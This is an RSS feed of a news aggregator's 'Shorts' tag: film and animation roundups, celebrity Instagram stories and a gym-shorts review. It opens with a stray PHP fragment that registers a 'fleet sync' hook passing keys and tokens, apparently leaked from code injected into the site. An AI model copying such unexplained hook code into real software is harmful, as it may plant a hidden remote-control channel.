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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Shorts – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 14 Nov 2018 06:11:55 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Shorts – Brief News https://briefnews.eu 32 32 The 8 Best Movies to Buy or Stream This Week: Pixar Shorts, ‘School Daze’ https://briefnews.eu/the-8-best-movies-to-buy-or-stream-this-week-pixar-shorts-school-daze/ https://briefnews.eu/the-8-best-movies-to-buy-or-stream-this-week-pixar-shorts-school-daze/#respond Wed, 14 Nov 2018 06:11:55 +0000 http://briefnews.eu/the-8-best-movies-to-buy-or-stream-this-week-pixar-shorts-school-daze/ It’s a very low-voltage week for new releases (aside from the latest Frederick Wiseman documentary and a new collection of Pixar treats), so let’s dive into some catalogue titles, and we’ve got a real variety to choose from — and by “real variety,” I mean, “would you prefer a ‘30s screwball comedy or a ‘70s softcore flick?”

ON KANOPY

Ex Libris: The New York Public Library: The legendary documentarian Frederick Wiseman has spent the better part of a half-century exploring the ins and outs of worthy institutions, so he’s a natural fit for a peek behind the scenes of the NYPL. But the ideal match of reporter and subject goes beyond that — he seems to be interested in literally everything, and that’s what this library offers. It’s not just a repository for books; it houses art and information, hosts public talks and private events, and functions as a valuable community center in neighborhoods rich and poor. Throughout the (as usual, leisurely) film, there are wonderful cuts that indicate the breadth of what this organization provides, from, for example, a piano recital at the Lincoln Center branch to a jobs expo at the Bronx Library Center. This library wants to provide both of those things to its patrons; Wiseman’s exquisite film sees the value of that mission, and shares it. (And so, yes, it’s appropriate that you can now watch it on Kanopy, the excellent streaming service available via most libraries.)

ON BLU-RAY / DVD / VOD

Pixar Short Films Collection Volume 3: The latest collection of animated shorts, which accompanied theatrical and/or home releases of the past six years of Pixar and Disney features, includes the Oscar-winning Piper, the delightful Sanjay’s Super Team, and the weirdly divisive Lava (hot take: it’s fine). It’s hit and miss, as these things always are — I’m not sure anyone was clamoring for another way to see an episode of a Cars spin-off series — but hey, that’s what the “short selection” screen is for. And at their best, these shorts are unbeatable, offering new approaches, unique stories, and the chance to watch promising new directors flourish. (Includes filmmaker intros, featurettes, and “mini-movies.”)

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Brewster McCloud: In 1970, Robert Altman followed up his breakthrough film (and, ultimately, his biggest hit) M*A*S*H by doing the most Robert Altman thing imaginable: by making a borderline-impenetrable, wildly uncommercial, surrealist gonzo comedy about a meek young man (Bud Cort) who lives in the Huston Astrodome and dreams of flying. But as is so often the case with Altman, the plot is utterly incidental; he’s more interested in tossing a cast of insane characters into a blender together and pressing “puree.” Cort (later of Harold and Maude), Sally Kellerman, and Shelley Duvall all shine, but the scene-stealer is Michael Murphy as a typical movie cop whose subplot takes a decidedly atypical turn. (Also streaming on Amazon Prime Video.)

Nothing Sacred/ Made for Each Other: For some time now, the KL Studio Classics imprint has taken on a noble mission: doing full-on, gorgeous restorations of great movies that fell into public domain, resulting in a market flooded with shoddy dupes for low prices (or streaming for free). Put simply, these movies are overdue for the lavish treatment KL bestows upon them, and that certainly holds true for this pair of delicious rom-coms starring the one and only Carole Lombard. Nothing Sacred is an absolute blast, with Lombard in top form as a small-town girl who is misdiagnosed with radium poisoning — but she’s not going to let a corrected prognosis keep her from enjoying a trip to New York City on a big-city newspaper’s dime. Made for Each Other, a chronicle of a quickie marriage, is a bit more uneven (it’s third act turn into full-on melodrama lands with a thud), but Lombard and co-star James Stewart are marvelous together, sexy and sharp and sweet, and the picture’s portrait of marital stress is convincing — you can see Stewart trying out some of the beats he’d play to the hilt in It’s a Wonderful Life. (Both include new audio commentaries and trailers.) (Nothing Sacred and Made for Each Other are both also streaming on Amazon Prime Video, though not in these restorations.)

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School Daze: A week after the splashy Blu-ray release of Spike Lee’s latest, we’re finally getting a proper upgrade for Lee’s sophomore effort, a wildly ambitious and unsurprisingly button-pushing examination of political, gender, and interracial dynamics at an all-black college. As with his debut picture, She’s Gotta Have It, some of this has aged into hashtag-problematic territory, but there’s still much to recommend: early (and memorable) performances by the likes of Laurence Fishburne, Giancarlo Esposito, and Samuel L. Jackson; brilliant cinematography from the great Ernest R. Dickerson; and jaw-dropping musical numbers, particularly the still-controversial “Straight and Nappy.” (Includes commentaries, featurettes, music videos, and new Q&A.)

The Gingerbread Man: So there was this weird moment in the 1990s when several ‘70s auteurs just threw up their hands, said “to hell with it, gotta eat,” and made John Grisham movies, resulting in Sydney Pollack’s The Firm, Alan J. Pakula’s The Pelican Brief, and Francis Ford Coppola’s The Rainmaker. All were commercially successful (some massively so); of course, the one that feels least like Grisham and the most like its director is the one that didn’t make money. And Robert Altman, the ‘70s filmmaker least interested in plot, was indeed a strange choice to adapt such a plot-driven novelist, though at least he had the luxury of an unpublished Grisham work, so no one knew how much he was choosing to ignore. Make no mistake, this is not one of Altman’s best. But it’s awfully good, full of crackerjack performances (Kenneth Branagh is quite good in the lead, Robert Downey Jr. provides wickedly entertaining support, and Robert Duvall turns in one of his old-cootiest turns, which is saying something), quotable dialogue, and swampy atmosphere. (Includes audio commentary and trailer.)

Take It Out in Trade: The thing Tim Burton’s Ed Wood biopic really got — and which viewers most connected with — was the filmmaker’s never-say-die spirit. Edward Wood was going to keep making movies, no matter how, and no matter how low he had to go! And so it probably shouldn’t come as a surprise that he closed out his career working in erotica like this long-thought-lost 1970 effort, a glorified nudie-cutie which scotch-tapes a ridiculous private-eye plot onto many sense of our “hero” peering through windows and house plants at sleazy couplings. It is not, to be crystal clear, a good movie, but it’s a fascinating find for bad movie aficionados, because so much of Wood’s “style” remained intact: inept photography and sound, wooden acting, laughable dialogue, and nonsensical buffalo and thunderclap cutaways replaced by nonsensical naked girl cutaways. Again, this is not for casual viewers. But people who love this very specific kind of twisted thing won’t want to miss it. (Includes commentary, 70 minutes of outtakes, and full feature The Love Feast, co-starring Wood.)

                                                                                                            

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]]> https://briefnews.eu/the-8-best-movies-to-buy-or-stream-this-week-pixar-shorts-school-daze/feed/ 0 Furious moms unleash on Target and Walmart over ‘hooker style’ shorts for kids (TGT, WMT) https://briefnews.eu/furious-moms-unleash-on-target-and-walmart-over-hooker-style-shorts-for-kids-tgt-wmt/ https://briefnews.eu/furious-moms-unleash-on-target-and-walmart-over-hooker-style-shorts-for-kids-tgt-wmt/#respond Mon, 23 Jul 2018 22:33:55 +0000 http://briefnews.eu/furious-moms-unleash-on-target-and-walmart-over-hooker-style-shorts-for-kids-tgt-wmt/ TargetTarget

  • Target is being accused of selling “hooker type shorts” for teen girls in a parenting Facebook post that has since gone viral. 
  • A mother of a teen girl took to social media to vent her frustration at not being able to find suitable clothing for her 10-year-old daughter at Target.
  • The post has been flooded with thousands of comments in support. 
  • Others are also calling out other retailers for their lack of suitable options for girls.

A mother of a teen took to social media to vent her frustration against Target for selling inappropriate shorts for young girls.

“I don’t fancy myself a prude, but neither do I take the responsibility to teach my daughters about modesty and appropriate dress lightly. We live in a culture sexualized enough as it is; I wish I could go shopping for my tween and not have to worry about her backside or her underwear showing in a pair of athletic shorts,” parenting blogger “Assignment: Mom” wrote on her Facebook page.

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]]> https://briefnews.eu/furious-moms-unleash-on-target-and-walmart-over-hooker-style-shorts-for-kids-tgt-wmt/feed/ 0 Eugenie Bouchard brushes off Wimbledon loss with cute sunshine snap in tiny denim shorts https://briefnews.eu/eugenie-bouchard-brushes-off-wimbledon-loss-with-cute-sunshine-snap-in-tiny-denim-shorts/ https://briefnews.eu/eugenie-bouchard-brushes-off-wimbledon-loss-with-cute-sunshine-snap-in-tiny-denim-shorts/#respond Fri, 06 Jul 2018 22:40:00 +0000 http://briefnews.eu/eugenie-bouchard-brushes-off-wimbledon-loss-with-cute-sunshine-snap-in-tiny-denim-shorts/

Eugenie Bouchard might not be in the best of spirits today, having been knocked out in the third round of Wimbledon yesterday.

The tennis babe has been playing professionally for nine years, but in that time has also established herself as a successful model.

The Canadian has appeared twice in the annual Sports Illustrated Swimsuit issue, but also uses her Instagram presence to post stunning selfies and bikini shots.

She has racked up an impressive 1.7 million followers on her Instagram page.

The latest on her Instagram feed is a smiling shot of the stunning blonde, on the grounds of the All England Lawn Tennis Club.

In the sunny snap Eugenie is holding a large Wimbledon gift bag, no doubt stuffed with lots of Wimbledon merchandise.

She captioned the post: “Who wants some Wimbledon goodies?”, with a licking lips emoticon.

In the snap the 24-year-old looked off to the side of shot, wearing her blonde hair in a loose bun and aviator style sunglasses.

Keeping her outfit casual she matched the sunglasses with a plain white cropped T-shirt and tiny denim shorts.

Accessorising the look she wore a black belt and had a clutch bag draped over her shoulders.

In Wimbledon colours and showing off her tennis sponsorship deal, she wore a striking white pair of Nike trainers, which were blindingly bright in the sun.

Despite being knocked out of the competition, Eugenie’s Instagram fans were quick to show her their support.

One commented: “Sorry you couldn’t go any further. And I have an idea on which goodie I would like to have.”

Another wrote: “You did good Genie , still a fan don’t stop believing”.

Other followers criticised Eugenie for focusing more on her modelling career, saying: “It’s sad , she’s more focused on Instagram than playing tennis , I wish she would focus on being a great Canadian tennis player instead of modelling” (sic).

Just a few days Eugenie posted an Instagram snap of her sitting on the courts at Wimbledon. 

She captioned the grinning shot of herself: “coolest place in the world”.

The post came before Eugenie was snapped on the practice grounds of the tennis club, where she blew a kiss with two fingers to photographers.

Sitting on the grass courts at Wimbledon, Eugenie couldn’t control her excitement.

She wore a white T-shirt with a blue logo detail peaking out and a pair of white shorts, showing off her tanned legs.

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]]> https://briefnews.eu/eugenie-bouchard-brushes-off-wimbledon-loss-with-cute-sunshine-snap-in-tiny-denim-shorts/feed/ 0 Eugenie Bouchard: Tennis babe wears tiny shorts in hardcore Instagram training clip https://briefnews.eu/eugenie-bouchard-tennis-babe-wears-tiny-shorts-in-hardcore-instagram-training-clip/ https://briefnews.eu/eugenie-bouchard-tennis-babe-wears-tiny-shorts-in-hardcore-instagram-training-clip/#respond Thu, 07 Jun 2018 17:18:45 +0000 http://briefnews.eu/eugenie-bouchard-tennis-babe-wears-tiny-shorts-in-hardcore-instagram-training-clip/

Eugenie Bouchard is the stunning Canadian known for her professional tennis career, and also her appearances in the Sports Illustrated Swimsuit Issue.

The 24-year-old, who hails from Montreal, has had a tennis career spanning nine years, but has recently suffered some losses on the court.

Not letting that phase her, the blonde posted a energetic clip from inside her training regime to her Instagram page.

Eugenie has racked up a fan base on the social platform due to her stunning looks, fun-loving persona and sexy bikini-clad posts.

Posting to her 1.7 million fans, Eugenie shared a video of her sprinting on a track.

Taken at the Mouratoglou Tennis Academy near Nice, the clip is likely to have been filmed before this year’s French Open, Roland Garros.

Working hard at the prestigious tennis training academy, which can cost up to €27500 per programme, Eugenie wore hot pink activewear as she pounded the track.

Kitted out by her sponsor Nike, she wore tiny pink shorts and a matching, high-neck crop top, showing off her toned midriff.

Wearing a white cap with her glossy blonde locks tied beneath, she appeared to wear no makeup.

She matched the tiny pink outfit with grey and pink trainers, also by Nike.

Eugenie captioned the clip: “When ur phone is at 1%”.

Despite the jokey, light-hearted manner of the post, her Instagram followers were quick to mention the tennis babe’s performance at the French Open.

One commented: “How about when your tennis game is at 1%”, while others encouraged the 24-year-old, hoping for a comeback. “Run girl run”, one user posted with another writing: “C’mon Genie!”.

The clip is similar to one posted by the sexy tennis star just a few weeks ago, showing her playfully dancing to the camera in another sweaty training video. 

The seven-second long the clip left many followers wanting more, as she wore a similar tight pink Nike vest and tiny tropical-print sports shorts.

Taking a break from tennis and showing her other more glamorous, Sports Illustrated side, Genie posted a striking selfie on the social media platform last week.

Appearing to be back in her home country due to her new bio update: “Only available in Canada and on iOS for now”, she wowed in a royal blue bardot top. /life-style/life/968209/Eugenie-Bouchard-Instagram-post-latest

The model and tennis payer wore a full face of makeup, drawing attention to her piercing green eyes with a sultry smoky eye.

She wore a pale pink lipstick with pink blushed-cheeks to match, softening the more daring eye makeup.

The Sports Illustrated babe captioned the post: “Feeeelin this top,” possibly hinting it was a new purchase following her weeks in France.

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]]> https://briefnews.eu/eugenie-bouchard-tennis-babe-wears-tiny-shorts-in-hardcore-instagram-training-clip/feed/ 0 10 Great Animated Shorts That Aren’t From Pixar or Disney https://briefnews.eu/10-great-animated-shorts-that-arent-from-pixar-or-disney/ https://briefnews.eu/10-great-animated-shorts-that-arent-from-pixar-or-disney/#respond Mon, 28 May 2018 22:24:05 +0000 http://briefnews.eu/10-great-animated-shorts-that-arent-from-pixar-or-disney/ best animated shorts

(Welcome to Let’s Get Animated!, a column that spotlights the best of film animation. In this edition: here are the most essential stop-motion animated movies.)

With every new Pixar movie comes the promise of another one of the studio’s beautifully constructed, deeply felt animated shorts. And the upcoming short paired with the highly anticipated Incredibles 2, the empty-nester fable Bao, looks like it will be all that and more. But it’s easy to forget that Pixar and Disney aren’t the be-all-end-all for affecting, cutting edge animated shorts. In fact, some of the best animated shorts may lie outside the realm of the two animation giants.

There’s a wealth of animated short films that have pushed the boundaries of animation and storytelling, both in and outside the Hollywood studio system. So let’s run down some of the best animated shorts that don’t come from Pixar or Disney.

The Wrong Trousers (Nick Park, 1993)

I couldn’t write this list without kicking it off with the classic Wallace and Gromit short. The Wrong Trousers is a zany, pitch-perfect piece of stop-motion animation from Aardman maestro Nick Park which went on to win the Oscar for animated shorts and inspire an entire charity fundraising day in Britain. But its accolades aren’t the reason it’s first on this list.

The Wrong Trousers is a rollicking short film which packs more jokes and cinematic homages into its 30-minute runtime than most feature films do today. Park deftly revives the silent-film comedy with his story about the eccentric inventor Wallace and his mute anthropomorphic dog Gromit facing off against an inscrutable criminal penguin. Wallace’s latest invention — a pair of robotic pants meant to help Gromit on their walks — drives them into debt and forces the duo to take up a lodger. But the only one that applies is a suspicious penguin named Feathers, who turns out to be a master jewelry thief. There’s slapstick, suspense, and a heart-pounding train chase scene that recalls the best of Steven Spielberg’s taut direction in Indiana Jones. “Plus Tom and Jerry, Buster Keaton . . . Pink Panther movies, everything that I ever enjoyed,” Park said at the time of the film’s release in 1993. But the short film never feels overcrowded by its vast range of movie nods and non-stop jokes. In fact, it only lends to the absurdity, as the story escalates from a quirky British romp to a straight-up thriller. I mean, when you have a hapless inventor and his dog battling a stoic, gun-toting penguin, the story can only get wilder from there. And thank goodness it does, because it gives us the master class in short film comedy that is The Wrong Trousers.

The Man Who Planted Trees (Frederic Back, 1988)

Based on French author Jean Giono‘s allegorical story published in 1953, The Man Who Planted Trees is a Canadian short film told in beautiful, wispy impressionist animation that follows a young man who encounters a peculiar shepherd living alone in the foothills of the Alps in Provence, France. Surrounded by desolate land and the remnants of impoverished mining towns, the shepherd has undertaken a single-handed mission to re-forest the barren valley that he lives in. When the young man returns five years later — older, wearier, and shell-shocked from fighting in World War I — he is amazed to discover that the shepherd’s efforts have paid off and a miraculous forest has sprung up around the entire valley.

The Man Who Planted Trees is an elegiac ode to life and the potential of humankind, while tapping into the plight of reconstruction and recovery facing Europe in the wake of the devastating World Wars. Its themes of resilience and the “rustic pleasures” feel like a melancholic, mature evolution of The Little Prince.

World of Tomorrow, Episode 1 and 2 (Don Hertzfeldt, 2015, 2017)

I’m cheating a bit by including both Don Hertzfeldt‘s Oscar-nominated short World of Tomorrow and its sequel but the two short films and their explorations of immortality, memory, grief, and human consciousness, deserve to be appraised as a single entity. At first glance, Hertzfeldt’s critically acclaimed shorts seem like juvenile scribbles — stick figures thrown onto a crazy-quilt of bright colors and stock images of space. But it is so much more than that. A heady mixture of sci-fi horror tropes and philosophical concepts, World of Tomorrow introduces a young, bubbly girl named Emily who meets to her clone from the future. Her third-generation clone has been uploaded with all of Emily’s memories in her present and future lives in a clumsy attempt at immortality, but can’t stop from glitching. The Emily clone is but a pale shadow of the bright, babbling toddler in front of her, speaking in monotone and wondering about the nature of emotion. “I am very proud of my sadness, because it means I am more alive,” the clone realizes at the end of the first 16-minute short.

Hertzfeldt followed up World of Tomorrow with a 22-minute sequel two years later, subtitled The Burden of Other People’s Thoughts. But this time instead of delving into the life of Emily Prime, World of Tomorrow Episode 2 focuses on the life of the sad back-up clone Emily 6, a clone of the clone from the last film. Left without purpose and without the majority of Emily’s memory, Emily 6 grapples with her identity as empty vessel. Surreal, cerebral, and a little depressing, World of Tomorrow Episodes 1 and 2 marry absurdist humor with profound, life-affirming meditations on humanity in the digital age.

The Old Lady and the Pigeons (Sylvain Chomet, 1998)

Before he was nominated for two Oscars for his 2003 feature-length animated film The Triplets of Belleville and was launched to global fame, Sylvain Chomet directed this kooky and slightly grotesque tale of a starving Paris policeman who discovers an old lady who will feed pigeons excessively. After he’s plagued by nightmares of pigeons pecking at his emaciated stomach, the lonely policeman builds a giant pigeon mask and costume to visit the old lady. Immediately, she welcomes him into her home and feeds him progressively lavish meals which he rudely gorges on. But as he grows fatter and more compliant, he comes to a horrific realization about the reason for the old woman’s rich, indulgent meals.

Told with virtually no dialogue, The Old Lady and the Pigeons a surreal anti-morality tale. The warm and cozy Parisian backgrounds animated by Nicolas de Crécy stand in striking contrast to the exaggerated, unnerving character designs, lending to the general unease and that really, really creepy twist.

Alma (Rodrigo Blaas, 2009)

If you ever watched Toy Story and thought, hey what if it had a terrifying premise, Alma is the animated short for you. And its Pixar leanings make sense: Alma is a Spanish computer-animated dark fantasy short film produced by ex-Pixar animator Rodrigo Blaas. The six-minute short follows a young girl named Alma (which in Spanish means “soul”) as she wanders into a deserted toy store after spotting a doll that bears an eerie resemblance to her. I won’t spoil what happens next, but you can probably guess from there. It’s a nightmarish short film that could easily be turned into a feature film, and may well someday be — back in 2010, Dreamworks announced that it had plans to make a feature adaptation of it with Blaas at the helm and Guillermo del Toro executive producing, but nothing has been heard about the project for years.

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]]> https://briefnews.eu/10-great-animated-shorts-that-arent-from-pixar-or-disney/feed/ 0 The Bermudan Olympic team wore shorts in the freezing weather during the Olympic opening ceremony https://briefnews.eu/the-bermudan-olympic-team-wore-shorts-in-the-freezing-weather-during-the-olympic-opening-ceremony/ https://briefnews.eu/the-bermudan-olympic-team-wore-shorts-in-the-freezing-weather-during-the-olympic-opening-ceremony/#respond Fri, 09 Feb 2018 13:14:25 +0000 http://briefnews.eu/the-bermudan-olympic-team-wore-shorts-in-the-freezing-weather-during-the-olympic-opening-ceremony/ Bermuda_shorts_winter_olympics_2018Dean Mouhtaropoulos/Getty Images

The 2018 Winter Olympics opening ceremony took place Friday at 8 p.m. in Pyeongchang, South Korea. The delegations from 92 participating nations across the world came out to represent their home countries in their warmest, patriotic best.

Emphasis on warmest because the Winter Olympics in South Korea this year are extremely cold — cold enough to break skis — and the 35,000-seat, open-air venue does not help shield athletes and spectators from the chill.

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]]> https://briefnews.eu/the-bermudan-olympic-team-wore-shorts-in-the-freezing-weather-during-the-olympic-opening-ceremony/feed/ 0 Arsenal vs West Brom: Best snaps as Gunners wear red shorts for first time since 1978 https://briefnews.eu/arsenal-vs-west-brom-best-snaps-as-gunners-wear-red-shorts-for-first-time-since-1978/ https://briefnews.eu/arsenal-vs-west-brom-best-snaps-as-gunners-wear-red-shorts-for-first-time-since-1978/#respond Sun, 31 Dec 2017 18:18:32 +0000 http://briefnews.eu/arsenal-vs-west-brom-best-snaps-as-gunners-wear-red-shorts-for-first-time-since-1978/

Arsenal opted to wear red shorts for the first time in 30 years for their away trip to West Brom.

Their usual white shorts would have clashed with the Baggies’ and the Gunners didn’t want to mix their home, away and third kits to accomodate Premier League rules.

Instead, the players were given red shorts for the game, a common occurance in the 1970s to avoid similar clashes.

The shorts won’t be available to buy and aren’t expected to be used again anytime soon.

Take a look through the gallery to reveal the best snaps of Arsenal stars wearing red shorts.

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]]> https://briefnews.eu/arsenal-vs-west-brom-best-snaps-as-gunners-wear-red-shorts-for-first-time-since-1978/feed/ 0 Anita Rani can’t wear shorts on Countryfile without sparking a 'hysterical debate' https://briefnews.eu/anita-rani-cant-wear-shorts-on-countryfile-without-sparking-a-hysterical-debate/ https://briefnews.eu/anita-rani-cant-wear-shorts-on-countryfile-without-sparking-a-hysterical-debate/#respond Sun, 24 Dec 2017 12:38:06 +0000 http://briefnews.eu/anita-rani-cant-wear-shorts-on-countryfile-without-sparking-a-hysterical-debate/

The former Strictly contestant spoke out about dual standards for male and female TV hosts as she backed a campaign to address gender inequality in the workplace.

It highlights, in particular, the impact office dress codes can have on employees’ wellbeing.

Rani said female TV hosts tended to “dress in fear of criticism” for wearing something inappropriate and were accused of looking “tired, sick or hung-over” if in casual dress.

“Female TV presenters,” she said, “always feel under pressure to dress or think about clothes in ways our male colleagues don’t have to.

“I’m always conscious of making a mistake or wearing something that could be considered inappropriate because I know that’s what everyone has their eyes on. Men don’t have that pressure.”

The 40-year-old, who grew up in Bradford, had her own show on Sunrise Radio, aged 14.

After university she became a BBC researcher then appeared on top TV shows, such as Watchdog, The One Show and This Morning before Countryfile. She told the campaign, headed by recruitment site totaljobs, she had even been targeted by online trolls.

“I receive lots of unhelpful comments on social media every time I wear something considered inappropriate by some. I can’t even wear a pair of shorts on Countryfile without it motivating some sort of hysterical debate.

“It’s very annoying because I know my male colleagues can happily wear shorts without becoming the centre of attention or being judged in one way or another.”

But she said she did not take the comments too seriously as she believed viewers were more interested in what she had to say than what she was wearing.

Rani said women wanting promoting still felt pressured to dress in a certain way: “Unfortunately sometimes women do feel the need to dress a particular way in order to climb the ranks.

“It’s a very old fashioned idea and we need to ditch it and leave it in the past.”

The problem, she said, comes from a generational gap between older men and younger women – not unlike the TV series Mad Men, set in advertising in the 1960s.

“In some working environments we still have this old fashioned almost Mad Men expectation of women to dress a certain way.”

It was not just about “criticising men” over the issue of dress she said: “They’re often acting unconsciously or behaving in a way which society has taught them is fine to behave, but it is time to change.

“Men can play an active role in encouraging this change and step in on unacceptable behaviour.”

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]]> https://briefnews.eu/anita-rani-cant-wear-shorts-on-countryfile-without-sparking-a-hysterical-debate/feed/ 0 LGBT Animated Short ‘In A Heartbeat’ is a Tender Love Story That Could Rival Pixar Shorts https://briefnews.eu/lgbt-animated-short-in-a-heartbeat-is-a-tender-love-story-that-could-rival-pixar-shorts/ https://briefnews.eu/lgbt-animated-short-in-a-heartbeat-is-a-tender-love-story-that-could-rival-pixar-shorts/#respond Wed, 02 Aug 2017 22:03:06 +0000 http://briefnews.eu/lgbt-animated-short-in-a-heartbeat-is-a-tender-love-story-that-could-rival-pixar-shorts/ in a heartbeat

Love can’t be contained in the animated short In a Heartbeat, a sweet and affecting love story told in four minutes.

It has all the trappings of a story of first love — lovely, funny, and touching — only it’s about a young schoolboy who has a crush on another boy at school. Funded on Kickstarter and developed as a thesis film by two Computer Animation majors at Ringling College of Art + Design, the video has gone viral, accumulating more than 3 million views on YouTube. Turns out, love is universal.

The story is relatively simple: A closeted gay teen named Sherwin admires his crush Jonathan from afar, but finds his heart has something to say in that matter. His rapidly beating heart soon escapes from his body and causes him to confront Jonathan — but his heart ends up getting broken in the process. Despite his humiliation, the two classmates reconcile, and Sherwin’s heart becomes whole again.

Here’s the brief synopsis from the project’s Kickstarter:

“A closeted boy runs the risk of being outed by his own heart after it pops out of his chest to chase down the boy of his dreams.”

The whole film plays out without any dialogue, and is gorgeously animated — the leaves in particular impressed me. The whole short is reminiscent of romantic Disney shorts like 2012’s Paperman, where an errant paper plane leads a man to find a woman with whom he falls in love at first sight, or 2016’s Inner Workings, in which a man struggles to listen to his brain or his heart.

The short film was created by Beth David and Esteban Bravo, and was originally funded on Kickstarter.

It’s a nice film to watch coming off the trailer for Call Me By Your Name, which depicts another tender and sweet gay love story. Hot off the success of last year’s Oscar-winning Moonlight — and earlier with Carol, The Handmaiden, and more — it really is a wonderful time for LGBT cinema and media. I can’t imagine this kind of short being made and receiving such acclaim even five years earlier, and this may be the most triumphant time for LGBT pop culture since Brokeback Mountain in 2005.

While adult cinema can lay claim to the LGBT discourse, I love that it has progressed so far that we can have sweet, innocent animated stories such as these. Hopefully, it’s only a matter of time before Disney and Pixar take note and produce a feature film with a gay lead character. And no, I’m not counting Le Fou.

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gs2Bonobos InstagramYour gym shorts are one of the most underrated pieces in your closet.

They’re practically designed to be drenched in dirt, grime, and sweat, so it may seem counterintuitive to invest in a pair — much less care about the small details like fit and fabric. But if you want to make the most out of your time spent exercising, it’s important to choose your shorts with care.

Bonobos’ activewear line, Good Sport, might have exactly what you’re looking for.

When Andy Dunn and Brian Spaly founded the Bonobos in 2007, they wanted to make the one thing they couldn’t find on the market: guy’s pants that weren’t too tight or too baggy. The duo introduced a curved waistband, medium rise, and trimmer cut through the thigh to create one of the best-fitting pants on the market today. Nearly a decade later, Bonobos applied its fit-first mentality to a pair of gym shorts called “Core Shorts.”

Unlike most gym shorts that have a nondescript “small,” “medium,” “large” sizing system, the Core Shorts use waist measurement sizes. Bonobos’ shorts should be the same size as the trousers you wear to work. Thanks to the their elastic waistband and four-way stretch, moisture-wicking fabric, these shorts are fitted, but comfortable enough to do lunges, burpees, and sprints.

Fit aside, the Core Shorts boast other cool features that make them worth the steep $ 68-$ 88 price tag. There’s a discreet zippered pocket and interior catch to stow your phone and keys. The subtle reflective paneling is perfect for anyone who wants to squeeze in an outdoor run after the sun has set for the today. They look nice, too. 

The guys of Insider Picks have tried their fair share of workout clothes, and these shorts are quickly becoming a new favorite. Here’s what they had to say:

Breton Fischetti, senior commerce director:

In my mind, Bonobos is a pants company that started making shirts, but now that I’ve had the chance to try their Core Shorts I realize that they’ve done a lot of growing up since I first heard of them.

These are fully fledged performance shorts. While I would prefer a little shorter length, they have the right weight and fit. These shorts will not look out of place around town or at the gym, and they’ve got all of the functionality you want without any needless pockets or features. At $ 78, you can definitely find cheaper shorts, but if you are the kind of person who already wears Nike or Lululemon, these shorts would fit right in with the rest of your workout gear.

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Brandt Ranj, associate commerce editor:

I don’t exercise a whole lot, so while I can’t say I’ve put them through their full paces, Bonobos’ shorts will be near the top of my rotation when I finally get around to restarting my CouchTo5K regimen. They’re short without being too short, tight without being uncomfortable, and have pockets (although I probably won’t run with anything in them). I usually like running in baggy basketball shorts, but this pair is beginning to show me the benefits of trying a nicer option.

Spencer Lambert, commerce intern:

I tried out the navy Core Shorts and was an instant fan. Not only did they have the minimalist look I prefer in gym clothes, they also had my two necessary features for gym shorts. First, a brief liner is a must-have because it cuts down on laundry for the week, which you can’t put a price on (well, maybe you can). 

The other feature that sells me on a good pair of gym shorts is slim pockets. Gym shorts with large pockets tend to leave your iPod flying around or falling out when you try more active movements. This Bonobos pair has slim enough pockets that the movement was minimal and I could exercise freely without concern. After a few wears, the Core Shorts earned a definite place in my gym bag by checking all the boxes in comfort, style, and functionality. 

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Bonobos’ Good Sport Core Shorts retail for $ 68-$ 88 a pair and are available in three colors. You can pick up a lined or unlined pair depending on your preference.

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